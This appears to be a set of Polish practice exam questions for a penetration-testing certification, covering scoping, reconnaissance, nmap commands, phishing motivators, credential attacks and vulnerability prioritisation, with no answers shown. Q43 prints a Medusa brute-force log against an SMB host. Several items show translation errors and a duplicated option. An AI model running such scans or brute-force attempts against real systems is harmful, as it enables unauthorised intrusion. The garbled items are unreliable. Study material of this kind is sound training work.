1. Przeprowadzasz badania, które posłużą do określenia zakresu testu penetracyjnego, który Twoja firma wykona dla klienta. Jakie informacje muszą zawierać twoje badania? (Wybierz dwa.)

A. Dlaczego test jest wykonywany?

B. Kiedy ostatni raz przeprowadzono test?

C. Jakie były wyniki ostatniego wykonanego testu?

D. Do kogo należy przesyłać faktury?

E. Kto jest docelowym odbiorcą testu?

2. Dokumentujesz zasady zaangażowania (ROE) w nadchodzącym teście penetracyjnym. Jakie elementy należy uwzględnić? (Wybierz dwa.)

A. Harmonogram zaangażowania

B. Przegląd przepisów regulujących konkretnie cel the

C. Lista podobnych organizacji, które oceniałeś w przeszłości

D. Lista konkurentów celu

E. Szczegółowa mapa sieci docelowej

3. Dokumentujesz zasady zaangażowania (ROE) w nadchodzącym teście penetracyjnym. Które elementy powinieneś uwzględnić? (Wybierz dwa.)

A. Szczegółowe procedury rozliczeniowe

B. Lista systemów poza zakresem

C. Lista systemów w zakresie

D. Zatwierdzony proces powiadamiania konkurentów celu o zaangażowaniu

E. Procedury arbitrażowe dotyczące rozwiązywania sporów między Tobą a klientem

4. Dokumentujesz zasady zaangażowania (ROE) w nadchodzącym teście penetracyjnym. Jakie elementy należy wziąć pod uwagę? (Wybierz dwa.)

A. Lista adresów IP przypisanych do systemów, których użyjesz do przeprowadzenia testu

B. W jaki sposób przekażesz wyniki testu osobie docelowej?

C. Lista narzędzi do testów penetracyjnych, których będziesz używać podczas testu

D. Lista referencji od byłych klientów, dla których przeprowadziłeś testy penetracyjne

E. Lista zachowań, które nie są dozwolone ze strony celu podczas testu

5. Określasz zasady zaangażowania (ROE) w nadchodzącym teście penetracyjnym. Podczas tego procesu zdefiniowałeś czasy, w których nie powinieneś atakować celu, listę systemów w zakresie i poza zakresem oraz wymagania dotyczące przetwarzania danych dla informacji gromadzonych podczas testu. Zadzwoniłeś również do jednego z techników helpdesku w miejscu docelowym i otrzymałeś ustną zgodę na przeprowadzenie testu. Zapisałeś nazwisko technika i datę w dokumencie ROE. Co zrobiłeś niepoprawnie w tym scenariuszu?

A. Ze względu na ochronę prywatności nie powinieneś był identyfikować wewnętrznego technika z imienia i nazwiska w dokumencie ROE.

B. Uwzględnienie czasów „wyłączenia” zmniejsza dokładność testu.

C. ROE powinno zawierać pisemną zgodę kierownictwa wyższego szczebla.

D. Wszystkie systemy powinny być potencjalnymi celami podczas testu.

E. Cel nie powinien wiedzieć, w jaki sposób przechowujesz informacje zebrane podczas testu.

6. Przeprowadzasz rekonesans w ramach testu penetracji szarej skrzynki. Uruchamiasz skanowanie luk w zabezpieczeniach na jednym z wewnętrznych serwerów organizacji docelowej i odkrywasz, że port 445 jest otwarty. Na co to wskazuje?

A. Jest to serwer DNS.

B. Jest to serwer HTTPS.

C. Jest to serwer SSH.

D. Jest to serwer plików SMB.

7. Przeprowadzasz rekonesans w ramach testu penetracyjnego szarej skrzynki. Uruchamiasz skanowanie podatności na jednym z serwerów docelowej organizacji i odkrywasz, że port 23 jest otwarty. Na co to wskazuje?

A. Jest to serwer DNS.

B. Jest to serwer SSH.

C. Jest to serwer Telnet.

D. Jest to serwer FTP.

8. Przeprowadzasz rekonesans w ramach testu penetracji czarnej skrzynki. Uruchamiasz skanowanie luk w zabezpieczeniach na jednym z publicznych serwerów docelowej organizacji i odkrywasz, że port 20 jest otwarty. Na co to wskazuje?

A. Jest to serwer DNS.

B. Jest to serwer FTP.

C. Jest to serwer SSH.

D. Jest to serwer TFTP.

9. Przeprowadzasz rekonesans w ramach testu penetracyjnego szarej skrzynki. Uruchamiasz skanowanie luk w zabezpieczeniach na jednym z serwerów organizacji docelowej i odkrywasz, że port 69 jest otwarty. Na co to wskazuje?

A. Jest to serwer DNS.

B. Jest to kontroler domeny.

C. Jest to serwer SSH.

D. Jest to serwer TFTP.

10. Przeprowadzasz rekonesans w ramach testu penetracyjnego szarej skrzynki. Uruchamiasz skanowanie pod kątem luk w zabezpieczeniach na jednym z serwerów organizacji docelowej i odkrywasz, że kilka portów jest otwartych, w tym 88, 135, 139, 389 i 464. Co to oznacza?

A. Jest to kontroler domeny.

B. Jest to serwer pocztowy POP3.

C. Jest to serwer SSH.

D. Jest to serwer pocztowy IMAP.

11. Penetracja wysyła wiadomość e-mail typu spear phishing do pracownika docelowej organizacji, podając się za dyrektora operacyjnego. Wiadomość e-mail prosi pracownika o podanie poufnych informacji wewnętrznych. Jaki czynnik motywacyjny wykorzystał tester penetracyjny w tym scenariuszu?

A. Władza

B. Niedobór

C. Dowód społeczny

D. Podobieństwo

12. Tester penetracyjny wysyła e-mail typu spear phishing do pracownika organizacji docelowej, podając się za agenta Federalnego Biura Śledczego (FBI). Wiadomość e-mail wskazuje, że kierownik pracownika jest badany pod kątem defraudacji i prosi pracownika o udzielenie odpowiedzi z poufnymi informacjami wewnętrznymi. Jaki czynnik motywacyjny wykorzystał tester penetracyjny w tym scenariuszu?

A. Podobieństwo

B. Niedobór

C. Dowód społeczny

D. Władza

13. Penetracja wysyła wiadomość e-mail typu spear phishing do pracownika organizacji docelowej, podając się za współpracownika, który zapomniał swojego hasła. Wiadomość e-mail wskazuje, że za kilka minut ma prezentację i nie może uzyskać dostępu do plików prezentacji na udostępnionym dysku sieciowym. Prosi pracownika o „pożyczenie” jej nazwy użytkownika i hasła, aby mogła się zalogować i pobrać pliki. Jaki czynnik motywacyjny wykorzystał tester penetracyjny w tym scenariuszu?

A. Strach

B. Pośpiech

C. Władza

D. Niedobór

14. Penetracja wysyła wiadomość phishingową do pracowników organizacji docelowej. Link w e-mailu prowadzi do fałszywej strony internetowej, która zawiera ponad 1000 recenzji ze średnią oceną 4,9 gwiazdki. Jaki czynnik motywacyjny wykorzystał tester penetracyjny w tym scenariuszu?

A. Dowód społeczny

B. Pośpiech

C. Niedobór

D. Władza

15. Penetracja wysyła wiadomość phishingową do pracowników organizacji docelowej. Wiadomość e-mail ma oferować iPady za absurdalnie niską cenę. Jednak w tej cenie pozostało tylko 25 sztuk. Odsyłacz w wiadomości e-mail prowadzi do fałszywej strony internetowej, która korzysta ze skryptu driveby-download, który umieszcza keylogger na komputerze pracownika. Jaki czynnik motywacyjny wykorzystał tester penetracyjny w tym scenariuszu?

A. Strach

B. Dowód społeczny

C. Władza

D. Niedobór

16. Która opcja polecenia spowoduje, że nmap przeskanuje tylko port UDP 20 oraz porty TCP 21 i 22?

A. -p 20-22

B. –top-ports 1024

C. -p U:20,T:21,22

D. -p

17. Jako tester penetracji chcesz przeskanować serwer Linux z adresem IP 192.168.1.200 w sieci docelowej i sprawdzić, czy ma zainstalowany i uruchomiony serwer WWW. Które polecenia nmapa to zrobią? (Wybierz dwa.)

A. nmap 192.168.1.200 –p http,https

B. nmap 192.168.1.200 –sn 80,443

C. nmap 192.168.1.200 –p 80 443

D. nmap 192.168.1.200 – T4 80 443

18. Jako tester penetracji chcesz przeskanować serwer Linux z adresem IP 192.168.1.200 w sieci docelowej w poszukiwaniu 1000 najpopularniejszych usług sieciowych, aby sprawdzić, czy są zainstalowane i uruchomione. Jednak już wiesz, że ten host obsługuje usługę DNS, więc chcesz pominąć ten port podczas skanowania. Które polecenie nmap to zrobi?

A. nmap 192.168.1.200 –p 1-1000 --wyklucz-porty 53

B. nmap 192.168.1.200 --top-ports 1000 --exclude-ports 53

C. nmap 192.168.1.200 --well-known-ports --exclude-ports 53

D. nmap 192.168.1.200 -- górne porty 1000

19. Utworzyłeś listę docelowych hostów, które chcesz przeskanować za pomocą nmapa i zapisałeś ją w pliku tekstowym o nazwie /root/targets.txt. Którego polecenia należy użyć, aby uruchomić skanowanie przy użyciu tego pliku?

A. nmap -iR /root/targets.txt

B. nmap --plik /root/targets.txt

C. nmap -iL /root/targets.txt

D. nmap -iF /root/targets.txt

20. Tester penetracji chce przeprowadzić skanowanie portów na wszystkich hostach w podsieci 192.168.1.0 (z maską podsieci 255.255.255.0) bez uprzedniego wykrywania hostów. Którego polecenia powinna użyć?

A. nmap 192.168.1.0/24 -Pn

B. nmap 192.168.1.0/24 -sL

C. nmap 192.168.1.0/24 -sn

D. nmap 192.168.1.0/24 –n

21. Przeprowadzasz test penetracyjny z czarną skrzynką dla małej instytucji finansowej. Używając pretekstu, możesz uzyskać dostęp do obiektu docelowego, udając naprawiającego kopiarki. Przechodząc przez budynek, zauważasz, że prawie wszyscy pracownicy zapisali swoje (zbyt skomplikowane) hasła na karteczkach samoprzylepnych i umieścili je na monitorach i klawiaturach komputerów. Niektóre z nich są tak oczywiste, że mogą je zobaczyć wytrawni klienci. Stanowi to kuszący cel do wykorzystania; jednak zdajesz sobie sprawę z bezpośredniego ryzyka związanego z tą praktyką. Zamiast czekać do końca testu, natychmiast komunikujesz się z klientem, aby ostrzec go, że poświadczenia są wyraźnie widoczne. Jaki typ wyzwalacza komunikacji został użyty w tym scenariuszu?

A. Wskaźniki wcześniejszego kompromisu

B. Krytyczne ustalenia

C. Ścieżka komunikacyjna

D. Etapy

22. Przeprowadzasz test penetracyjny białej skrzynki dla klienta. Podczas testu można zauważyć, że wszystkie stacje robocze użytkowników końcowych są skonfigurowane tylko z domyślnym skanerem antywirusowym systemu Windows. Zauważasz ponadto, że wielu użytkowników końcowych używa do wykonywania swojej codziennej pracy aplikacji, która jest znanym koniem trojańskim powszechnie używanym do tworzenia botnetu. Zamiast czekać do końca testu, natychmiast komunikujesz się z klientem, aby go ostrzec. Jaki typ wyzwalacza komunikacji został użyty w tym scenariuszu?

A. Wskaźniki wcześniejszego kompromisu

B. Krytyczne ustalenia

C. Ścieżka komunikacyjna

D. Etapy

23. Przeprowadzasz test penetracyjny PCI DSS dla klienta. Podczas procesu testowania niebezpieczny exploit ransomware zaczyna rozprzestrzeniać się między sieciami na całym świecie. Klient prosi o zatrzymanie testu penetracyjnego PCI DSS i sprawdzenie, czy jego sieć jest podatna na ten nowy typ złośliwego oprogramowania. Który termin najlepiej opisuje, co wydarzyło się w tym scenariuszu?

A. Świadomość sytuacyjna

B. Zmiana priorytetów celów

C. Wskaźniki wcześniejszego kompromisu

D. Poświadczenie ustaleń

24. Przeprowadzasz test penetracyjny szarej skrzynki dla klienta. Podczas procesu testowania zauważysz, że ich sieć bezprzewodowa używa słabego szyfrowania z kluczem wstępnym (000000001), który jest łatwy do złamania metodą brute-force. Co więcej, można zauważyć, że klient wdrożył wielokierunkowe punkty dostępu w całym obiekcie. Podejrzewasz, że sygnał bezprzewodowy rozchodzi się daleko poza budynkiem. Kontaktujesz się z klientem i zalecasz modyfikację testu tak, aby obejmował testowanie sieci Wi-Fi z perspektywy czarnej skrzynki. Który termin najlepiej opisuje, co wydarzyło się w tym scenariuszu?

A. Zmiana priorytetów celów

B. Poświadczenie ustaleń

C. Wskaźniki wcześniejszego kompromisu

D. Świadomość sytuacyjna

25. Które z poniższych terminów odnosi się do procesu gromadzenia danych generowanych przez różne narzędzia w teście penetracyjnym i formatowania danych w spójny sposób, tak aby można je było łatwo odczytać?

A. Poświadczenie ustaleń

B. Normalizacja danych

C. Remediacja

D. Dyspozycja raportów

26. Który z poniższych jest językiem definicji interfejsu opartym na XML, używanym do opisu funkcjonalności oferowanej przez serwer SOAP (Simple Object Access Protocol)?

A. Język opisu usługi sieciowej (WSDL)

B. Język opisu aplikacji internetowych (WADL)

C. Przeniesienie stanu przedstawicielskiego (REST)

D. Swagger

27. Która z poniższych architektur jest używana do zapewnienia opartego na języku XML opisu usług internetowych opartych na protokole HTTP działających na serwerze aplikacji internetowych i jest powszechnie używana w aplikacjach internetowych Representational State Transfer (REST)?

A. Prosty protokół dostępu do obiektów (SOAP)

B. Język opisu aplikacji internetowych (WADL)

C. Przeniesienie stanu przedstawicielskiego (REST)

D. Swagger

28. Która z poniższych specyfikacji jest specyfikacją World Wide Web Consortium (W3C), która określa sposób definiowania elementów w dokumencie XML?

A. SOAP

B. XSD

C. REST

D. WSDL

29. Przygotowujesz test penetracyjny białej skrzynki dla klienta. Celem jest sprawdzenie, czy możesz uzyskać dostęp do poufnych danych badawczych przechowywanych na wewnętrznym serwerze bazy danych. Celem jest stworzenie wewnętrznie opracowanej aplikacji do gromadzenia danych, której użytkownicy końcowi klienta używają na co dzień do katalogowania i przechowywania informacji w bazie danych. Jakie informacje powinien udzielić Ci klient przed rozpoczęciem testu?

A. Pliki konfiguracyjne

B. Diagramy przepływu danych

C. Dokumentacja zestawu programistycznego (SDK)

D. Wszystkie powyższe

30. Sprawdzasz dla klienta test penetracyjny białej skrzynki. Celem jest sprawdzenie, czy można uzyskać dostęp do poufnych danych pacjenta przechowywanych na wewnętrznym serwerze bazy danych. Co klient powinien zrobić przed rozpoczęciem testu? (Wybierz dwa.)

A. Umieść konta użytkowników testerów na czarnej liście w ich systemie ochrony przed włamaniami (IPS).

B. Dodaj konta użytkowników testerów do białej listy w ich systemie ochrony przed włamaniami (IPS).

C. Skonfiguruj zapory sieciowe, aby działały w trybie awaryjnym.

D. Skonfiguruj wyjątki bezpieczeństwa, które pozwolą systemom testerów penetracyjnych na ominięcie kontroli dostępu do sieci (NAC).

E. Skonfiguruj zapory sieciowe, aby działały w trybie awaryjnym.

31. Przeprowadzasz test penetracji szarej skrzynki. Podczas procesu wyliczania i tworzenia odcisków palców odkryłeś, że wewnętrzna witryna internetowa w sieci organizacji docelowej działa na bardzo starej wersji IIS. Musisz sprawdzić, czy istnieją jakieś luki związane z tym starszym serwerem sieciowym, które możesz wykorzystać. Które źródło badań typu open source możesz wykorzystać?

A. CVE

B. Pełne ujawnienie

C. NVD

D. Wszystkie powyższe

32. Słyszeliście, że firma Adobe właśnie wydała aktualizację zabezpieczeń, która usuwa luki wykryte niedawno w programie Photoshop. Z którego źródła badań typu open source możesz dowiedzieć się więcej o aktualizacji i o lukach, które ma ona naprawić?

A. CERT

B. Pełne ujawnienie

C. CAPEC

D. NVD

33. Słyszałeś, że krąży nowy exploit bezpieczeństwa fizycznego, w którym atakujący używa specjalnego typu klucza zwanego kluczem uderzeniowym. Które źródło badań typu open source najprawdopodobniej zawierałoby informacje o tym, jak działa ten exploit?

A. CAPEC

B. Pełne ujawnienie

C. NVD

D. CVE

34. Które źródło badań typu open source klasyfikuje luki w zabezpieczeniach według ich wagi?

A. CERT

B. Pełne ujawnienie

C. CVE

D. NVD

35. Wykonując wyliczanie i odciski palców podczas testu penetracyjnego szarej skrzynki, odkrywasz, że dział dokumentacji i szkoleń w organizacji docelowej przechowuje swoje pliki w systemie Windows Server 2003, który nadal jest na poziomie poprawki SP2, ponieważ nikt nie zadaje sobie trudu, aby go aktualizować. Chcesz zbadać sposoby wykorzystania tego starszego serwera. Które źródło badań typu open source możesz wykorzystać?

A. CVE

B. CAPEC

C. CWE

D. Żadne z powyższych

36. Które z poniższych jest mechanizmem, który można wykorzystać do obrony przed atakami zatruwania DNS?

A. Zaimplementuj DNSSEC.

B. Zamknij port 53 w zaporze hosta serwera DNS.

C. Wyłącz przekazywanie ICMP w konfiguracji routera.

D. Użyj SSH do zapytań DNS.

37. Tester penetracyjny przeprowadza test penetracyjny szarej skrzynki. Tworzy exploit konia trojańskiego, który opróżnia pamięć podręczną DNS na lokalnej stacji roboczej i zastępuje ją wpisami rozpoznawania złośliwych nazw, które wskazują na fałszywy serwer WWW. Gdy klienci w organizacji próbują rozwiązać nazwy hostów, używane są złośliwe wpisy z lokalnej pamięci podręcznej DNS. Jak nazywa się ten exploit?

A. Zatrucie DNS

B. Zatrucie ARP

C. Zatrucie pamięci podręcznej DNS

D. Man-in-the-middle

38. Tester penetracyjny przeprowadza test penetracyjny szarej skrzynki. Zauważa, że jeden z oddziałów organizacji używa serwera DNS tylko do buforowania do obsługi żądań rozpoznawania nazw. Wysyła fałszywą odpowiedź na żądanie rozwiązania nazwy z serwera DNS buforującego tylko, używając sfałszowanego adresu źródłowego w pakietach odpowiedzi. Rekordy rozpoznawania fałszywych nazw wskazują użytkownikom fałszywy serwer sieciowy używany do przechwytywania poświadczeń uwierzytelniania. Jak nazywa się ten exploit?

A. Zatrucie DNS

B. Zatrucie ARP

C. Zatrucie pamięci podręcznej DNS

D. Man-in-the-middle

39. Podczas przeprowadzania testu penetracyjnego w szarej strefie tester odkrywa, że kilka stacji roboczych z systemem Linux w sieci nie zostało przyłączonych do domeny Active Directory organizacji, mimo że mają zainstalowaną usługę Samba. Aby uzyskać dostęp do folderów współdzielonych na serwerach Windows, te stacje robocze używają połączeń NT LAN Manager (NTLM). Tester przechwytuje zaszyfrowane dane uwierzytelniające użytkownika, gdy są one przekazywane między stacjami roboczymi i serwerami, a następnie wykorzystuje je później w celu ustanowienia nowych uwierzytelnionych sesji z serwerami plików. Jak nazywa się ten exploit?

A. Zatrucie ARP

B. Fraggle atak

C. Obejście NAC

D. Podaj hasz

40. Podczas testu penetracji szarej skrzynki tester wysyła fałszywą wiadomość rozgłoszeniową ARP w lokalnym segmencie sieci. W rezultacie adres MAC jej laptopa jest teraz mapowany na adres IP innego prawidłowego komputera w segmencie. Jak nazywa się ten exploit?

A. Zatrucie pamięci podręcznej DNS

B. Spoofing ARP

C. Podaj hasz

D. Powtórz atak

41. Jako tester penetracji chcesz poprawić szybkość łamania haseł, budując wyspecjalizowany system z zainstalowanymi wieloma kartami wideo. Które narzędzie może wykorzystać wiele procesorów graficznych do łamania haseł?

A. proxychains

B. John the Ripper

C. hashcat

D. theHarvester

42. Podczas testu penetracyjnego administrator systemu sprawdza dziennik serwera Linux i zauważa tysiące nieudanych prób logowania. Jakiego narzędzia może używać tester penetracyjny? (Wybierz dwa.)

A. Hydra

B. YASCA

C. nmap

D. Tableau

E. Medusa

43. Rozważ następujący obraz

```
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password:  (1 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: administrator (2 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: 123456 (3 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: password (4 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: 12345678 (5 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: qwerty (6 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: 123456789 (7 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: 12345 (8 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: 1234 (9 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: 111111 (10 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: 1234567 (11 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: dragon (12 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: 123123 (13 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: baseball (14 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: abc123 (15 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: football (16 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: monkey (17 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, 0 complete) Password: letmein (18 of 235 complete)
```

Które narzędzie do testowania penetracji zostało użyte do wygenerowania tego wyniku?

A. Maltego

B. Medusa

C. netcat

D. Metasplot

44. Wykonując test penetracyjny czarnej skrzynki, tester chce zindeksować witrynę organizacji docelowej i zebrać słowa kluczowe, które mogą być używane przez pracowników jako hasła, i zapisać je na liście. Tester uruchomi następnie narzędzie do hasła brute-force, korzystając z tej listy, próbując uzyskać dostęp. Jakiego narzędzia należy użyć do utworzenia możliwego pliku z hasłami?

A. hashcat

B. CeWL

C. netcat

D. Hydra

45. Które z poniższych narzędzi jest narzędziem brute-force, którego mogą używać testerzy penetracji do wykrywania katalogów i plików na serwerze sieciowym?

A. ncat

B. Powersploit

C. FOCA

D. Dirbuster

46. Którego z poniższych narzędzi można użyć do przywrócenia oryginalnego hasła w postaci zwykłego tekstu ze skrótu tego hasła?

A. proxychains

B. John the Ripper

C. A rainbow table

D. TheHarvester

47. Która z poniższych opcji jest powszechnie używana do zapobiegania atakom polegającym na wykonywaniu obliczeń wstępnych na hasła zaszyfrowane przez dodanie losowych bitów do operacji mieszania?

A. Solenie

B. Odwracanie haszu

C. Korzystanie z OTP

D. Wdrażanie uwierzytelniania wieloskładnikowego

48. Która z poniższych opcji jest często używana do zapobiegania atakom z wyprzedzeniem na hasła zaszyfrowane przez wielokrotne uruchamianie wartości do zaszyfrowania za pomocą funkcji mieszającej?

A. Solenie

B. Kluczowe rozciąganie

C. Szyfrowanie symetryczne

D. Szyfrowanie asymetryczne

49. Właśnie zakończyłeś test penetracyjny dla klienta. W swoich ustaleniach zgłaszasz, że użytkownicy są zobowiązani do podania nazwy użytkownika i hasła w celu uwierzytelnienia. Zaleca się, aby organizacja zaimplementowała uwierzytelnianie wieloskładnikowe. Które z poniższych czynności mogą wymagać od użytkowników podania podczas uwierzytelniania, aby to osiągnąć?

A. PIN.

B. Hasło.

C. Skanowanie linii papilarnych.

D. Żadne z powyższych. Uwierzytelnianie wieloskładnikowe jest już wdrożone i wymaga podania nazwy użytkownika i hasła.

50. Jeśli chodzi o uwierzytelnianie wieloskładnikowe, które z poniższych jest przykładem czegoś, co znasz?

A. PIN

B. Hasło jednorazowe (OTP)

C. Skanowanie biometryczne

D. Token RSA

51. Który z poniższych podmiotów atakujących jest prawdopodobnie najmniej niebezpieczny na podstawie listy poziomów przeciwników?

A. Haktywista

B. Złośliwy insider

C. Script kiddie

D. Aktor państwa narodowego

52. Który z poniższych podmiotów atakujących jest prawdopodobnie najbardziej niebezpieczny na podstawie listy poziomów przeciwników?

A. Haktywista

B. Złośliwy insider

C. Aktor przestępczości zorganizowanej

D. APT

53. Przeprowadzasz test penetracyjny dla klienta. Używasz zestawu narzędzi do testowania penetracji działającego na osobistym laptopie, aby przeprowadzać skanowanie różnych urządzeń infrastruktury sieciowej, w tym serwerów, routerów i przełączników. Nagle sieć pociemniała. Nie masz już dostępu do żadnych urządzeń w sieci klienta. Które z poniższych może wyjaśnić, co się stało?

A. Twoje skany spowodowały awarię routera obwodowego.

B. Twoje skany spowodowały awarię przełącznika w sieci szkieletowej.

C. Adres IP Twojego laptopa został umieszczony na białej liście.

D. Adres IP twojego laptopa został umieszczony na czarnej liście.

54. Pracujesz dla firmy konsultingowej zajmującej się testami penetracyjnymi i negocjujesz z potencjalnym klientem. Klient zasugerował, aby Twoja organizacja podpisała umowę MSA ze swoją organizacją. Co powinieneś zrobić?

A. Świętuj! Oznacza to, że klient chce zaangażować Twoją firmę do wielu zleceń.

B. Poinformuj swojego pracodawcę, że transakcja prawdopodobnie nie dojdzie do skutku.

C. Ostrzeż swojego pracodawcę, że potencjalny klient prawdopodobnie będzie próbował pozwać Twoją firmę.

D. Zakończenie negocjacji z klientem.

55. Przeprowadzasz test penetracyjny białej skrzynki dla klienta. Docierasz do witryny klienta i podłączasz laptopa do otwartego gniazda sieciowego. Jednak twój laptop odbiera tylko ograniczoną łączność w sieci klienta. Uruchamiasz polecenie ipconfig i zauważasz, że twój laptop otrzymał adres IP, ale możesz zobaczyć tylko jednego innego hosta w sieci. Dlaczego się to stało?

A. Twój laptop został wykryty przez system ochrony przed włamaniami (IPS) klienta i został umieszczony na czarnej liście.

B. System kontroli dostępu do sieci (NAC) klienta poddał laptop kwarantannie w sieci naprawczej.

C. Twój laptop został wykryty przez system wykrywania włamań (IDS) klienta i został umieszczony na czarnej liście.

D. Klient włączył filtrowanie adresów MAC na swoich przełącznikach sieciowych.

56. Podczas wykonywania testu penetracji czarnej skrzynki zauważasz, że organizacja docelowa posiada serwer publiczny, który ma wygasły certyfikat bezpieczeństwa SSL/TLS. Co możesz wywnioskować z tego faktu?

A. Komunikacja serwera może być odszyfrowana.

B. Serwer został już skompromitowany przez atakującego.

C. Wewnętrzny administrator systemu nie zwraca uwagi na ten serwer.

D. Dane przechowywane na serwerze można odszyfrować.

57. Przeprowadzasz test penetracji szarej skrzynki. Właśnie zakończyłeś przeprowadzanie obszernych skanów podatności na wszystkie hosty w sieci docelowej. Musisz teraz skategoryzować wszystkie zeskanowane urządzenia. Który z poniższych sposobów jest prawidłowym sposobem kategoryzacji zasobów?

A. Według systemu operacyjnego

B. Według wartości aktywów

C. Według liczby znalezionych luk

D. Według wagi podatności

E. Wszystkie powyższe

58. Przeprowadzasz test penetracji czarnej skrzynki. Oceniasz wyniki skanowania podatności. Po dalszej inspekcji odkrywasz, że jedna z najpoważniejszych luk zidentyfikowanych przez skaner na serwerze sieciowym organizacji docelowej w rzeczywistości nie istnieje. Które z poniższych może wyjaśnić, co się stało?

A. Skaner wygenerował fałszywie pozytywny wynik.

B. Atakujący gdzieś w Internecie wykrył Twój skan i ukrył lukę.

C. Wewnętrzny administrator wykrył skan i naprawił lukę.

D. Serwer został zainfekowany złośliwym oprogramowaniem i powoduje nietypowe wyniki skanowania.

59. Przeprowadzasz test penetracyjny szarej skrzynki i właśnie zakończyłeś skanowanie podatności, kategoryzowanie wyników i ocenianie danych. Teraz musisz ustalić priorytety luk w zabezpieczeniach przed przejściem do następnej fazy testu. Która z poniższych może stanowić luki o najwyższym priorytecie do wykorzystania? (Wybierz dwa.)

A. Kontroler domeny działa na starszej wersji systemu Windows Server i brakuje kilku krytycznych aktualizacji zabezpieczeń.

B. W komputerze stacjonarnym użytkownika brakuje aktualizacji funkcji systemu Windows.

C. Komputer stacjonarny użytkownika działa na wcześniejszej wersji systemu Ubuntu Linux.

D. Serwer bazy danych jest podatny na exploit WannaCry.

60. Priorytetujesz luki wykryte podczas skanowania luk. Jedna znaleziona przez Ciebie podatność ma ocenę Common Vulnerability Scoring System (CVSS) 3,8. Do jakiej kategorii ryzyka należy ta podatność?

A. Niski

B. Średni

C. Wysoki

D. Krytyczne

61. Podczas wykonywania testu penetracji szarej skrzynki masz

odkryli, że organizacja docelowa używa na swoich komputerach wielu różnych systemów operacyjnych. Pobrałeś odcisk palca systemów Windows, Mac OS i Linux. Znalazłeś nawet jeden system serwerowy UNIX. Ponadto pracownicy przynoszą swoje urządzenia mobilne do pracy i łączą je z siecią bezprzewodową organizacji, dzięki czemu można znaleźć wiele urządzeń z systemem Android i iOS. Na tym etapie testu musisz zidentyfikować luki w zabezpieczeniach systemu operacyjnego, które występują w urządzeniach o wysokiej wartości. Co powinieneś zrobić?

A. Zbadaj bazę danych Common Vulnerabilities and Exposures (CVE).

B. Zbadaj bazę danych Common Attack Pattern, Enumeration and Classification (CAPEC).

C. Przeszukaj stronę internetową Zespołu Reagowania na Awarie Komputerowe (CERT).

D. Zadaj pytanie na forum testów penetracyjnych.

62. Które z poniższych są uważane za niezabezpieczone usługi lub protokoły? (Wybierz dwa.)

A. LDAPS

B. SSH

C. FTP

D. Telnet

E. HTTPS

63. Która z poniższych może zostać uznana za niezabezpieczoną usługę lub konfigurację protokołu? (Wybierz dwa.)

A. Używanie SSHv1 zamiast SSHv2

B. Używanie SNMPv3 zamiast SNMPv1

C. Używanie WPA2 zamiast WEP

D. Używanie SSL 2.0 zamiast TLS 1.2

64. Podczas testu penetracyjnego należy użyć eskalacji uprawnień w systemie Linux. Jakich funkcji systemu operacyjnego można użyć, aby umożliwić uruchamianie pliku wykonywalnego z uprawnieniami administratora? (Wybierz dwa.)

A. Uruchamianie go jako administrator

B. Przypisanie specjalnego uprawnienia SGID

C. Przypisanie specjalnego uprawnienia SUID

D. Uruchamianie go z podrzędnej sesji powłoki BASH

E. Przypisz uprawnienie do bitów przyklejonych

65. Które specjalne uprawnienie Linuksa, po przypisaniu do katalogu, uniemożliwia użytkownikom usuwanie plików, których nie są właścicielami, nawet jeśli mają uprawnienia do zapisu i wykonywania w tym katalogu?

A. SGID

B. SUID

C. Lepki bit

D. Ret2libc

66. Rozważ następujący fragment ze skryptu:

```
if _x > 2

puts "x is greater than 2"

else

puts "x is less than or equal to 2"

end
```

W jakim języku skryptowym jest napisany ten fragment kodu?

A. Rubin

B. PowerShell

C. Bash

D. Python

67. Rozważ następujący fragment ze skryptu:

```
If (x -eq 2) {
'This number is 2'
} Else {
'This number is not 2'
}
```

W jakim języku skryptowym jest napisany ten fragment kodu?

A. Rubin

B. PowerShell

C. Bash

D. Python

68. Rozważ następujący fragment ze skryptu:

```
if test -f $FileName; then
echo "The file exists."
else
echo "The file does not exist."
fi
```

W jakim języku skryptowym jest napisany ten fragment kodu?

A. Rubin

B. PowerShell

C. Bash

D. Python

